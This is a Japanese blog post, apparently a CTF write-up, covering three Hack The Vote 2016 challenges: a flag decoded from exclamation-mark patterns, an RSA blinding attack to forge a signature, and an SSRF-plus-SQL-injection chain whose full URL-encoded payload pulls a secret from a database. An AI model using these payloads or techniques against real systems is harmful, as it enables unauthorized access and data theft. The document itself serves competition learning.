読者です 読者をやめる 読者になる 読者になる

cookies.txt      .scr

ただのテキストファイルのようだ

Hack The Vote writeup

16/11/05 08:00 - 16/11/07 08:00 JST
https://pwn.voting/
TSGで参加しました。
(satos,cookies,yamaguchi,hakatashi,moratorium08,nolze,dai,gasinくらい)
14th. 2901pts.
問題はまあ、よかったんじゃないでしょうか。

関わったVoter Registration, TOPKEK, Trump Trumpのwriteup書きます。



f:id:cookie-s:20161107180939p:plain

TOPKEK

TOP! KEK!! TOP!!! KEK!みたいなのが無限にあります。
TSGのメンツが'!'の数を数えるみたいなことしてたので、せやなぁ、っつって、
ランレングス符号の感じで(といっても伝わらないかもしれない)、
TOPに続く'!'の個数'0',KEKに続く'!'の個数'1'をつなげるみたいなことして、
それを8桁で区切って2進数扱いしてASCIIコードで文字にします。

`cat kek.txt`.scan(/!+/).map(&:size).each_slice(2).map{|x,y| ?0*x + ?1*y}.join.scan(/.{8}/).map{|x|x.to_i(2)}.pack("C*")
"flag{T0o0o0o0o0P______1m_h4V1nG_FuN_r1gHt_n0W_4R3_y0u_h4v1ng_fun______K3K!!!}"

Trump Trump

問題で与えられた画像データ以外になら署名してくれる問題。modulusは与えられる。
画像データは適当に`cat data`.unpack("C*").map{|x|x.to_s(16).rjust(2,?0)}.join.hexとかする。これをxとする。
2*xを署名してもらう。(2x)^dが得られる。
2を署名してもらう。2^dが得られる。この逆元を求める。
(2x)^d * (2^d)^(-1) = x^d。
これをTrumpにあげると、Shockで鞄を置いて去ってしまう。

Voter Registration

/secureにアクセスすると、file indexesが見れて、debug.phpとかいうのがあることがわかる。アクセスしてもIP制限がかかっているらしくだめ。
/download.php?dl=voterregistrationが、voterregistration.pdfを開いてそのままHTTPに乗っけてくれる機能をしている。
/download.php?dl=download.php%00とかしてもだめ。

dl=http://google.com/?は動いた。Googleが読める。
dl=http://localhost/secure/debug.php?とかアクセスできる。内容はdefault.phpとほとんど変わらない。(registrationが成功したときに<a href="debug.php">のコメントが出るかどうかくらいしかなさそうだった。)
debug.phpの機能がわかんなくて、つれーっていってたら、hakatashi proがregistrationの最後でtxt_dlnmbrパラメタでsql injectionできることを発見してくれる。
なるほどーっつって詳細は割愛するけれど
http://kansas.pwn.republican/download.php?dl=http%3a%2f%2flocalhost%3a80%2fsecure%2fdebug%2ephp%3fs%3d3%26txtfirst_name%3da%26txtmiddle_name%3db%26txtLast_name%3dc%26txtname_suffix%3dd%26txtdob%3d11%2f11%2f1111%26txtdl_nmbr%3dfugapiyo%27%29%2c%28%27a%27%2c%27a%27%2c%27a%27%2c%27a%27%2c%27a%27%2c%28select%2520value%2520from%2520secrets%29%29%2520--%2520a%26txtRetypeDL%3dfugapiyo%27%29%2c%28%27a%27%2c%27a%27%2c%27a%27%2c%27a%27%2c%27a%27%2c%28select%2520value%2520from%2520secrets%29%29%2520--%2520a%26btnContinue2%3dContinue%23
にEdgeとかでアクセスすると、hogefuga'),('a','a','a','a','a',(select value from secrets)) -- aみたいなのがINSERT INTO文にinjectionされて、

File http://localhost:80/secure/debug.php?s=3&txtfirst_name=a&txtmiddle_name=b&txtLast_name=c&txtname_suffix=d&txtdob=11/11/1111&txtdl_nmbr=fugapiyo'#,#'a','a','a','a','a',#select%20value%20from%20secrets##%20--%20a&txtRetypeDL=fugapiyo'#,#'a','a','a','a','a',#select%20value%20from%20secrets##%20--%20a&btnContinue2=Continue#.pdf doesn't exist. Please report the error to the sysadmin...Duplicate entry 'flag{w0w_1_d1dnt_kn0w_th3_1ntern3t_w4s_a_f1le}' for key 'licenceNumber'